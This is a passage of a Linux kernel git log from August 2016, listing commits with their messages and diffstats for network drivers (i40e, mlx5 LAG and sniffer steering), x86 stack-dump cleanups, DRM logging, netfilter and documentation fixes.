insertion(+) commit dc5b4e9fad36849ecc85dcaac8de2682751769fa Author: Catherine Sullivan Date: Wed Jul 27 12:02:31 2016 -0700 i40e/i40evf: Reset VLAN filter count when resetting When we do a reset, all the VLAN filters get added again. Therefore we also want to reset the VLAN count to 0 or we quickly run out of filters. Change-ID: I459f26851e22204dc8b8999928ad87cde8170119 Signed-off-by: Catherine Sullivan Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_virtchnl_pf.c | 1 + 1 file changed, 1 insertion(+) commit 3a0f52928a0a06a7c4c735cd325ca646a1e40fae Author: Anjali Singhai Jain Date: Wed Jul 27 12:02:30 2016 -0700 i40e: Fix a bug where a client close can be called before an open is complete The client->open call in this path was not protected with the client instance mutex, and hence the client->close can get initiated before the open completes. Change-Id: I0ed60c38868dd3f44966b6ed49a063d0e5b7edf5 Signed-off-by: Anjali Singhai Jain Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_client.c | 2 ++ 1 file changed, 2 insertions(+) commit eb27163b2e0a2606a044dfdf662ff1c26a63515c Author: Wei Yongjun Date: Tue Jul 26 14:58:30 2016 +0000 i40e: Use list_move instead of list_del/list_add Using list_move() instead of list_del() + list_add(). Signed-off-by: Wei Yongjun Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_client.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit f6475e29829775fb2d28add14246f755b44cd68d Author: Stephen Boyd Date: Tue Aug 16 15:40:52 2016 -0700 clk: berlin: Migrate to clk_hw based registration and OF APIs Now that we have clk_hw based provider APIs to register clks, we can get rid of struct clk pointers while registering clks in these drivers, allowing us to move closer to a clear split of consumer and provider clk APIs. We also remove some __init markings in header files as they're useless and we're in the area. Tested-by: Jisheng Zhang Cc: Alexandre Belloni Acked-by: Sebastian Hesselbarth Signed-off-by: Stephen Boyd Signed-off-by: Stephen Boyd drivers/clk/berlin/berlin2-avpll.c | 12 ++--- drivers/clk/berlin/berlin2-avpll.h | 8 +--- drivers/clk/berlin/berlin2-div.c | 4 +- drivers/clk/berlin/berlin2-div.h | 4 +- drivers/clk/berlin/berlin2-pll.c | 6 +-- drivers/clk/berlin/berlin2-pll.h | 9 ++-- drivers/clk/berlin/bg2.c | 98 ++++++++++++++++++++------------------ drivers/clk/berlin/bg2q.c | 39 ++++++++------- 8 files changed, 92 insertions(+), 88 deletions(-) commit 1ae4ec1415a98328b693db588f30d02bb3ca73aa Author: Geert Uytterhoeven Date: Thu Aug 18 19:34:25 2016 +0200 spi: spi-txx9: Add missing clock (un)prepare calls for CCF While the custom minimal TXx9 clock implementation doesn't need or use clock (un)prepare calls (they are dummies if !CONFIG_HAVE_CLK_PREPARE), they are mandatory when using the Common Clock Framework. Hence add them, to prepare for the advent of CCF. Signed-off-by: Geert Uytterhoeven Signed-off-by: Mark Brown drivers/spi/spi-txx9.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit d67fd44f697dff293d7cdc29af929241b669affe Author: Nikolay Borisov Date: Wed Aug 17 16:18:46 2016 -0400 locks: Filter /proc/locks output on proc pid ns On busy container servers reading /proc/locks shows all the locks created by all clients. This can cause large latency spikes. In my case I observed lsof taking up to 5-10 seconds while processing around 50k locks. Fix this by limiting the locks shown only to those created in the same pidns as the one the proc fs was mounted in. When reading /proc/locks from the init_pid_ns proc instance then perform no filtering [ jlayton: reformat comments for 80 columns ] Signed-off-by: Nikolay Borisov Suggested-by: Eric W. Biederman Signed-off-by: Jeff Layton fs/locks.c | 21 ++++++++++++++++++--- 1 file changed, 18 insertions(+), 3 deletions(-) commit 00445edff345b654a074733d5a41c79d5fe33be3 Author: Icenowy Zheng Date: Sat Aug 13 18:01:13 2016 +0800 Documentation: sunxi: Update Allwinner SoC documentation Now, the A83T and A64 SoC user manuals are available. Update the documentation to add the links. An updated version of A83T datasheet is also included now. Signed-off-by: Icenowy Zheng Acked-by: Chen-Yu Tsai Signed-off-by: Jonathan Corbet Documentation/arm/sunxi/README | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) commit 70b5b18f716a2d7ab20c2cfaea21919b9fdfb805 Author: Andy Shevchenko Date: Thu Aug 18 17:29:40 2016 +0300 x86/platform/intel-mid: Run PWRMU command immediately On some firmwares we have to tell how exactly we want the command to be proceeded. The default case, based on the official BSP code, is to run it immediately. This appears to be a safer approach based on the documentation. Signed-off-by: Andy Shevchenko Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1471530580-94247-1-git-send-email-andriy.shevchenko@linux.intel.com Signed-off-by: Ingo Molnar arch/x86/platform/intel-mid/pwr.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit 2567c4eae1f31492b0f547409e035b9b0501326f Author: Pablo Neira Ayuso Date: Thu Aug 18 11:15:12 2016 +0200 netfilter: nf_conntrack: restore nf_conntrack_htable_size as exported symbol This is required to iterate over the hash table in cttimeout, ctnetlink and nf_conntrack_ipv4. >> ERROR: "nf_conntrack_htable_size" [net/netfilter/nfnetlink_cttimeout.ko] undefined! ERROR: "nf_conntrack_htable_size" [net/netfilter/nf_conntrack_netlink.ko] undefined! ERROR: "nf_conntrack_htable_size" [net/ipv4/netfilter/nf_conntrack_ipv4.ko] undefined! Fixes: adf0516845bcd0 ("netfilter: remove ip_conntrack* sysctl compat code") Reported-by: kbuild test robot Reported-by: Stephen Rothwell Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_conntrack_core.c | 2 ++ 1 file changed, 2 insertions(+) commit 5021bb933ae299ed494da7350303700077de20fc Author: Ricardo Ribalda Delgado Date: Thu Aug 18 10:54:19 2016 +0200 Documentation: rs485: Do not define manually the ioctl It is not a very good practice to define the IOCTL manually instead of using the header file. Fix it on the documentation example. Signed-off-by: Ricardo Ribalda Delgado Signed-off-by: Jonathan Corbet Documentation/serial/serial-rs485.txt | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 4950d6d48a0c43cc61d0bbb76fb10e0214b79c66 Author: Josh Poimboeuf Date: Thu Aug 18 10:59:08 2016 -0500 x86/dumpstack: Remove 64-byte gap at end of irq stack There has been a 64-byte gap at the end of the irq stack for at least 12 years. It predates git history, and I can't find any good reason for it. Remove it. What's the worst that could happen? Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Byungchul Park Cc: Denys Vlasenko Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/14f9281c5475cc44af95945ea7546bff2e3836db.1471535549.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/kernel/cpu/common.c | 2 +- arch/x86/kernel/dumpstack_64.c | 9 +++------ arch/x86/kernel/setup_percpu.c | 2 +- 3 files changed, 5 insertions(+), 8 deletions(-) commit 8b927d734122f3021c5999aaeffaa2a36ab224c2 Author: Josh Poimboeuf Date: Thu Aug 18 10:59:07 2016 -0500 proc: Fix return address printk conversion specifer in /proc//stack When printing call return addresses found on a stack, /proc//stack can sometimes give a confusing result. If the call instruction was the last instruction in the function (which can happen when calling a noreturn function), '%pS' will incorrectly display the name of the function which happens to be next in the object code, rather than the name of the actual calling function. Use '%pB' instead, which was created for this exact purpose. Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Byungchul Park Cc: Denys Vlasenko Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/47ad2821e5ebdbed1fbf83fb85424ae4fbdf8b6e.1471535549.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar fs/proc/base.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 72b4f6a5e903b071f2a7c4eb1418cbe4eefdc344 Author: Josh Poimboeuf Date: Thu Aug 18 10:59:06 2016 -0500 x86/dumpstack: Fix x86_32 kernel_stack_pointer() previous stack access On x86_32, when an interrupt happens from kernel space, SS and SP aren't pushed and the existing stack is used. So pt_regs is effectively two words shorter, and the previous stack pointer is normally the memory after the shortened pt_regs, aka '®s->sp'. But in the rare case where the interrupt hits right after the stack pointer has been changed to point to an empty stack, like for example when call_on_stack() is used, the address immediately after the shortened pt_regs is no longer on the stack. In that case, instead of '®s->sp', the previous stack pointer should be retrieved from the beginning of the current stack page. kernel_stack_pointer() wants to do that, but it forgets to dereference the pointer. So instead of returning a pointer to the previous stack, it returns a pointer to the beginning of the current stack. Note that it's probably outside of kernel_stack_pointer()'s scope to be switching stacks at all. The x86_64 version of this function doesn't do it, and it would be better for the caller to do it if necessary. But that's a patch for another day. This just fixes the original intent. Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Byungchul Park Cc: Denys Vlasenko Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Thomas Gleixner Fixes: 0788aa6a23cb ("x86: Prepare removal of previous_esp from i386 thread_info structure") Link: http://lkml.kernel.org/r/472453d6e9f6a2d4ab16aaed4935f43117111566.1471535549.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/kernel/ptrace.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit ae952ffdfdf986ecd1452d552a69b82cae7b5e58 Author: Josh Poimboeuf Date: Thu Aug 18 10:59:05 2016 -0500 x86/head: Remove useless zeroed word This zeroed word has no apparent purpose, so remove it. Brian Gerst says: "FYI the word used to be the SS segment selector for the LSS instruction, which isn't needed in 64-bit mode." Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Byungchul Park Cc: Denys Vlasenko Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/b056855c295bbb3825b97c1e9f7958539a4d6cf2.1471535549.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/kernel/head_64.S | 1 - 1 file changed, 1 deletion(-) commit 6225f3232a04a54786f817f3648a1f8cc5920272 Author: Josh Poimboeuf Date: Thu Aug 18 10:59:04 2016 -0500 x86/dumpstack: Remove extra brackets around "" When starting the dump of an exception stack, it shows "<>" instead of "". print_trace_stack() already adds brackets, no need to add them again. Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Byungchul Park Cc: Denys Vlasenko Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/77f185fd5b81845869b400aa619415458df6b6cc.1471535549.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/kernel/dumpstack_64.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b32f96c75d0dcbb9bf9cc7994e8022c8ce20a668 Author: Josh Poimboeuf Date: Thu Aug 18 10:59:03 2016 -0500 x86/asm/head: Rename 'stack_start' -> 'initial_stack' The 'stack_start' variable is similar in usage to 'initial_code' and 'initial_gs': they're all stored in head_64.S and they're all updated by SMP and ACPI suspend before starting a CPU. Rename it to 'initial_stack' to be consistent with the others. Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Byungchul Park Cc: Denys Vlasenko Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/87063d773a3212051b77e17b0ee427f6582a5050.1471535549.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/include/asm/realmode.h | 1 + arch/x86/include/asm/smp.h | 3 --- arch/x86/kernel/acpi/sleep.c | 2 +- arch/x86/kernel/head_32.S | 8 ++++---- arch/x86/kernel/head_64.S | 11 +++++------ arch/x86/kernel/smpboot.c | 2 +- 6 files changed, 12 insertions(+), 15 deletions(-) commit 32541b47bd34940d836fbdf713d16c7ac70d51be Author: Josh Poimboeuf Date: Thu Aug 18 10:59:02 2016 -0500 x86/asm/head: Remove unused init_rsp variable extern There is no init_rsp variable. Remove its extern. Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Byungchul Park Cc: Denys Vlasenko Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/c183bbecd5730d84e8c6aff3824537c1c1bf3591.1471535549.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/include/asm/realmode.h | 1 - 1 file changed, 1 deletion(-) commit bf255bdaada6d497536aadee5406f6ded318978b Author: Josh Poimboeuf Date: Thu Aug 18 10:59:01 2016 -0500 x86/dumpstack: Remove show_trace() There are a bewildering array of options for dumping the stack. Simplify things a little by removing show_trace(), which is unused. Signed-off-by: Josh Poimboeuf Reviewed-by: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Byungchul Park Cc: Denys Vlasenko Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/fe02292eac9d409001ec0cf6d06f90ced242570d.1471535549.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/include/asm/kdebug.h | 2 -- arch/x86/kernel/dumpstack.c | 6 ------ 2 files changed, 8 deletions(-) commit f594d0b9b34aeb8e3ffa524eaa8a4085afb56d22 Merge: b3830e8 7b0501b Author: Ingo Molnar Date: Thu Aug 18 18:41:12 2016 +0200 Merge branch 'x86/urgent' into x86/asm, to pick up fixes Signed-off-by: Ingo Molnar commit ee4d7899f62724d4bda28aa05bf795ef93aacd47 Author: Sean Paul Date: Fri Aug 12 13:00:54 2016 -0400 drm/rockchip: Use DRM_DEV_ERROR in vop Since we can have multiple vops, use DRM_DEV_ERROR to make logs easier to process. Acked-by: Mark Yao Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1471021254-2563-3-git-send-email-seanpaul@chromium.org drivers/gpu/drm/rockchip/rockchip_drm_vop.c | 24 ++++++++++++++---------- 1 file changed, 14 insertions(+), 10 deletions(-) commit c4e68a5832021cf8c2f9a2f3419452470ca60bd8 Author: Sean Paul Date: Mon Aug 15 16:18:04 2016 -0700 drm: Introduce DRM_DEV_* log messages This patch consolidates all the various log functions/macros into one uber function, drm_log. It also introduces some new DRM_DEV_* variants that print the device name to delineate multiple devices of the same type. Reviewed-by: Chris Wilson Reviewed-by: Eric Engestrom Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1471303084-3757-1-git-send-email-seanpaul@chromium.org drivers/gpu/drm/drm_drv.c | 27 ++++++--- include/drm/drmP.h | 140 +++++++++++++++++++++++++++------------------- 2 files changed, 103 insertions(+), 64 deletions(-) commit 8f0e4907a8e7545850ae093a0286833f3949e4cb Author: Clint Taylor Date: Mon Aug 15 10:31:28 2016 -0700 drm/edid: CEA mode 64 1080p100 vsync pulse width incorrect In the CEA-861 specification VIC 64 specifies a vsync pulse of 5 and a backporch of 36. Adjust vsync pulse width to match specification. Cc: Ville Syrjälä Signed-off-by: Clint Taylor Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1471282288-30909-1-git-send-email-clinton.a.taylor@intel.com drivers/gpu/drm/drm_edid.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 23e5671a79be00b2f1c895aa93ff40fb75a4647e Author: Andreas Gruenbacher Date: Tue Aug 16 13:25:22 2016 +0200 gfs2: Fix extended attribute readahead optimization Commit 39b0555f didn't check for a failing bio_add_page in gfs2_submit_bhs. This could cause I/O requests to get lost, and the affected buffer heads to stay locked forever. Fix that by submitting the current bio and allocating another one when bio_add_page fails. (It is guaranteed that we can at least add one page to a bio.) Signed-off-by: Andreas Gruenbacher Signed-off-by: Bob Peterson fs/gfs2/meta_io.c | 35 +++++++++++++++++++---------------- 1 file changed, 19 insertions(+), 16 deletions(-) commit 7693df8319dfdedca0bfb678402b95200eb70e50 Author: Randy Li Date: Thu Aug 18 01:03:11 2016 +0800 ARM: dts: rockchip: add missing regulators for firefly reload board There are many regulators are missed in previous commit, this commit complete most of them. It also fix some mistakes in the regulator properties. The VDD_10(REG10) and VCC_18(REG11) had better to keep in always-on state, as it is used as the USB PHY supply, corretly we have no way to assign power supply to a USB PHY. The VCCA_33(REG8) should be enabled or the GMAC won't work. It also fix the wrong properties for audio in io-domains, the supply connected to APIO4_VDD is different to firefly release version. Signed-off-by: Randy Li Signed-off-by: Heiko Stuebner arch/arm/boot/dts/rk3288-firefly-reload-core.dtsi | 48 ++++-------------- arch/arm/boot/dts/rk3288-firefly-reload.dts | 62 +++++++++++++++++++++-- 2 files changed, 67 insertions(+), 43 deletions(-) commit 4c73c0882b34d0383ff417e2d66c127f848cfe06 Author: Andrew Donnellan Date: Tue Jul 5 17:47:37 2016 +1000 checkkconfigsymbols.py: add --no-color option, don't print color to non-TTY Only print the ANSI colour escape codes if stdout is a TTY. Useful if redirecting output to a file or piping to another script. Also add a new option, --no-color, if the user wants to disable colour output for whatever reason. Signed-off-by: Andrew Donnellan Acked-by: Valentin Rothberg Signed-off-by: Greg Kroah-Hartman scripts/checkkconfigsymbols.py | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) commit 6d13b6ff112b9a047f82d6cc01aa9d32c9133d8d Author: Johan Hovold Date: Thu Aug 18 17:43:22 2016 +0200 greybus: svc: drop all symbol exports The svc functions are only supposed to be called by core and should not be exported. Most of these functions should never have been exported in the first place, while a few no longer needs to be (e.g. since core gained support for offloaded connections). Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 12 ------------ 1 file changed, 12 deletions(-) commit 87d22483ce68e609818d61e3a65361f5634c6cd6 Author: Maor Gottlieb Date: Mon Jun 6 18:09:35 2016 +0300 net/mlx5: Add sniffer namespaces Add sniffer TX and RX namespaces to receive ingoing and outgoing traffic. Each outgoing/incoming packet is duplicated and steered to the sniffer TX/RX namespace in addition to the regular flow. Signed-off-by: Maor Gottlieb Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky drivers/net/ethernet/mellanox/mlx5/core/fs_core.c | 58 +++++++++++++++++++++++ drivers/net/ethernet/mellanox/mlx5/core/fs_core.h | 4 ++ include/linux/mlx5/fs.h | 2 + 3 files changed, 64 insertions(+) commit cea824d416522ce63d83b45fc0dc53c0f5b68cee Author: Maor Gottlieb Date: Tue May 31 14:09:09 2016 +0300 net/mlx5: Introduce sniffer steering hardware capabilities Define needed hardware capabilities for sniffer RX and TX flow tables. Add the following capabilities: 1. Sniffer RX flow table capabilities. 2. Sniffer TX flow table capabilities. 3. If same TIR can be used by multiple flow tables of different types. Signed-off-by: Maor Gottlieb Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky include/linux/mlx5/device.h | 12 ++++++++++++ include/linux/mlx5/mlx5_ifc.h | 4 +++- 2 files changed, 15 insertions(+), 1 deletion(-) commit 917b41aab7b3afb2221ac0895f302ee32431fa6e Author: Aviv Heller Date: Mon May 30 18:32:32 2016 +0300 net/mlx5: Configure IB devices according to LAG state When mlx5_ib is loaded, we would like each card's IB devices to be added according to its LAG state (one IB device, instead of two, is to be added if LAG is active). Signed-off-by: Aviv Heller Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky drivers/net/ethernet/mellanox/mlx5/core/lag.c | 17 +++++++++++++++++ drivers/net/ethernet/mellanox/mlx5/core/main.c | 3 +++ drivers/net/ethernet/mellanox/mlx5/core/mlx5_core.h | 2 ++ 3 files changed, 22 insertions(+) commit 3bc34f3bcb087764796d9a6eaa476e270114eb8f Author: Aviv Heller Date: Mon May 9 10:38:42 2016 +0000 net/mlx5: Vport LAG creation support Add interfaces for issuing CREATE_VPORT_LAG and DESTROY_VPORT_LAG commands. Used for receiving PF1's eth traffic on PF0's root ft. Signed-off-by: Aviv Heller Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky drivers/net/ethernet/mellanox/mlx5/core/lag.c | 22 ++++++++++++++++++++++ include/linux/mlx5/driver.h | 2 ++ 2 files changed, 24 insertions(+) commit 3e75d4ebaae7aac5ba82fc7a6e0e6fb56dac1916 Author: Aviv Heller Date: Mon May 9 10:02:29 2016 +0000 net/mlx5: Add LAG flow steering namespace This namespace is used for LAG demux flowtable. The idea is to position the LAG demux ft between bypass and kernel flowtables, allowing raw-eth traffic from both ports to be received by the PF0 IB device. Signed-off-by: Aviv Heller Reviewed-by: Maor Gottlieb Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky drivers/net/ethernet/mellanox/mlx5/core/fs_core.c | 11 ++++++++++- include/linux/mlx5/fs.h | 1 + 2 files changed, 11 insertions(+), 1 deletion(-) commit aaff1bea16bb7f259a263c3ae4633d092e2da799 Author: Aviv Heller Date: Mon May 9 09:57:05 2016 +0000 net/mlx5: LAG demux flow table support Add interfaces to allow the creation and destruction of a LAG demux flow table. It is a special flow table used during LAG for redirecting non user-mode packets from PF0 to PF1 root ft, if a packet was received on phys port two. Signed-off-by: Aviv Heller Reviewed-by: Maor Gottlieb Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky drivers/net/ethernet/mellanox/mlx5/core/fs_cmd.c | 56 +++++++++++++++++------ drivers/net/ethernet/mellanox/mlx5/core/fs_cmd.h | 1 + drivers/net/ethernet/mellanox/mlx5/core/fs_core.c | 31 +++++++++---- drivers/net/ethernet/mellanox/mlx5/core/fs_core.h | 6 +++ include/linux/mlx5/fs.h | 3 ++ 5 files changed, 75 insertions(+), 22 deletions(-) commit edb31b1686751f605eb02a6dcf5ef29c5d485a8e Author: Aviv Heller Date: Sun Apr 17 19:32:13 2016 +0300 net/mlx5: LAG and SRIOV cannot be used together Until support will be added for RoCE LAG SRIOV. Signed-off-by: Aviv Heller Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky drivers/net/ethernet/mellanox/mlx5/core/lag.c | 6 ++++++ drivers/net/ethernet/mellanox/mlx5/core/mlx5_core.h | 1 + drivers/net/ethernet/mellanox/mlx5/core/sriov.c | 12 ++++++++++++ 3 files changed, 19 insertions(+) commit db60b80273c5e0e61c2ad59d2903c9988b9d184c Author: Aviv Heller Date: Mon May 30 18:31:13 2016 +0300 net/mlx5e: Avoid port remapping of mlx5e netdev TISes TISes belonging to the mlx5e NIC should not be subject to port remap. Signed-off-by: Aviv Heller Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 4 ++++ drivers/net/ethernet/mellanox/mlx5/core/mlx5_core.h | 12 ++++++++++++ 2 files changed, 16 insertions(+) commit 6a32047a441b870dd2570fe0831dada5e9ce40f6 Author: Aviv Heller Date: Mon May 9 11:06:44 2016 +0000 net/mlx5: Get RoCE netdev Used by IB driver for determining the IB bond device's netdev, when LAG is active. Returns PF0's netdev if mode is not active-backup, or the PF netdev of the active slave when mode is active-backup. Signed-off-by: Aviv Heller Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky drivers/net/ethernet/mellanox/mlx5/core/lag.c | 27 +++++++++++++++++++++++++++ include/linux/mlx5/driver.h | 1 + 2 files changed, 28 insertions(+) commit 7907f23adc186700efbe56c032527e47485c86ab Author: Aviv Heller Date: Sun Apr 17 16:57:32 2016 +0300 net/mlx5: Implement RoCE LAG feature Available on dual port cards only, this feature keeps track, using netdev LAG events, of the bonding and link status of each port's PF netdev. When both of the card's PF netdevs are enslaved to the same bond/team master, and only them, LAG state is active. During LAG, only one IB device is present for both ports. In addition to the above, this commit includes FW commands used for managing the LAG, new facilities for adding and removing a single device by interface, and port remap functionality according to bond events. Please note that this feature is currently used only for mimicking Ethernet bonding for RoCE - netdevs functionality is not altered, and their bonding continues to be managed solely by bond/team driver. Signed-off-by: Aviv Heller Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky drivers/net/ethernet/mellanox/mlx5/core/Makefile | 2 +- drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 3 + drivers/net/ethernet/mellanox/mlx5/core/lag.c | 530 +++++++++++++++++++++ drivers/net/ethernet/mellanox/mlx5/core/main.c | 51 +- .../net/ethernet/mellanox/mlx5/core/mlx5_core.h | 12 + include/linux/mlx5/driver.h | 4 + 6 files changed, 588 insertions(+), 14 deletions(-) commit 84df61ebc69bdc466180e02d654e9b0284781288 Author: Aviv Heller Date: Tue May 10 13:47:50 2016 +0300 net/mlx5: Add HW interfaces used by LAG Exposed LAG commands enum and layouts: - CREATE_LAG HW enters LAG mode: RoCE traffic from port two is received on PF0 core dev. Allows to set tx_affinity (tx port) for QPs and TISes. Allows to port remap QPs and TISes, overriding their tx_affinity behavior. - MODIFY_LAG Remap QPs and TISes to another port. - QUERY_LAG Query whether LAG mode is active. - DESTROY_LAG HW exits LAG mode, returning to non-LAG behavior. - CREATE_VPORT_LAG Merge Ethernet flow steering, such that traffic received on port two jumps to PF0 root flow table. Available only in LAG mode. - DESTROY_VPORT_LAG Ethernet flow steering returns to non-LAG behavior. Caps added: - lag_master Driver is in charge of managing the LAG. This is currently the only option. - num_lag_ports LAG is supported only if this field's value is 2. Other fields: - QP/TIS tx port affinity During LAG, this field controls on which port a QP or TIS resides. - TIS strict tx affinity When this field is set, the TIS will not be subject to port remap by CREATE_LAG/MODIFY_LAG. - LAG demux flow table Flow table used for redirecting non user-space traffic back to PF1 root flow table, if the packet was received on port two. Signed-off-by: Aviv Heller Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky drivers/net/ethernet/mellanox/mlx5/core/cmd.c | 12 ++ include/linux/mlx5/mlx5_ifc.h | 166 ++++++++++++++++++++++++-- 2 files changed, 171 insertions(+), 7 deletions(-) commit d5beb7f2aff4a60237fd97a98d49a78c9045b8f2 Author: Noa Osherovich Date: Thu Jun 2 10:47:53 2016 +0300 net/mlx5: Separate query_port_proto_oper for IB and EN Replaced mlx5_query_port_proto_oper with separate functions per link type. The functions should take different arguments so no point in trying to unite them. Signed-off-by: Noa Osherovich Signed-off-by: Eran Ben Elisha Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky drivers/infiniband/hw/mlx5/main.c | 3 +-- drivers/net/ethernet/mellanox/mlx5/core/port.c | 32 ++++++++++++++++++-------- include/linux/mlx5/port.h | 7 +++--- 3 files changed, 28 insertions(+), 14 deletions(-) commit 8cca30a7f914fe363fa9700715619ca5c8cb38cc Author: Noa Osherovich Date: Sun Jun 26 12:43:24 2016 +0300 net/mlx5: Expose mlx5e_link_mode The mlx5e_link_mode enumeration will also be used in mlx5_ib for RoCE. This patch moves the enumeration to the mlx5 driver port header file. Signed-off-by: Noa Osherovich Signed-off-by: Eran Ben Elisha Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky drivers/net/ethernet/mellanox/mlx5/core/en.h | 34 ---------------------------- include/linux/mlx5/port.h | 33 +++++++++++++++++++++++++++ 2 files changed, 33 insertions(+), 34 deletions(-) commit 2e353b3468ecb1d12a44aaf35888f7de47d5c047 Author: Artemy Kovalyov Date: Sun Jul 3 14:57:33 2016 +0300 net/mlx5: Update struct mlx5_ifc_xrqc_bits Update struct mlx5_ifc_xrqc_bits according to last specification Signed-off-by: Artemy Kovalyov Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky include/linux/mlx5/mlx5_ifc.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 83b502a12e82d0ae97907d415496fbafe044f0ce Author: Alex Vesker Date: Thu Aug 4 17:32:02 2016 +0300 net/mlx5: Modify RQ bitmask from mlx5 ifc Use mlx5 ifc MODIFY_BITMASK_VSD in mlx5e_modify_rq_vsd and expose counter set capability bit in hca caps structure. Signed-off-by: Alex Vesker Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 3 ++- include/linux/mlx5/driver.h | 4 ---- include/linux/mlx5/mlx5_ifc.h | 9 ++++++++- 3 files changed, 10 insertions(+), 6 deletions(-) commit 1283b9121155dd25290d017fc1ae6e973e88c8b1 Author: Fabio Estevam Date: Thu Aug 18 12:31:16 2016 -0300 regulator: bindings: Use the correct symbol for second The symbol for second is in lower case. Signed-off-by: Fabio Estevam Signed-off-by: Mark Brown Documentation/devicetree/bindings/regulator/regulator.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b5fbe819af2f8d8dceb421635a976462bb6885b8 Author: Rui Miguel Silva Date: Tue Aug 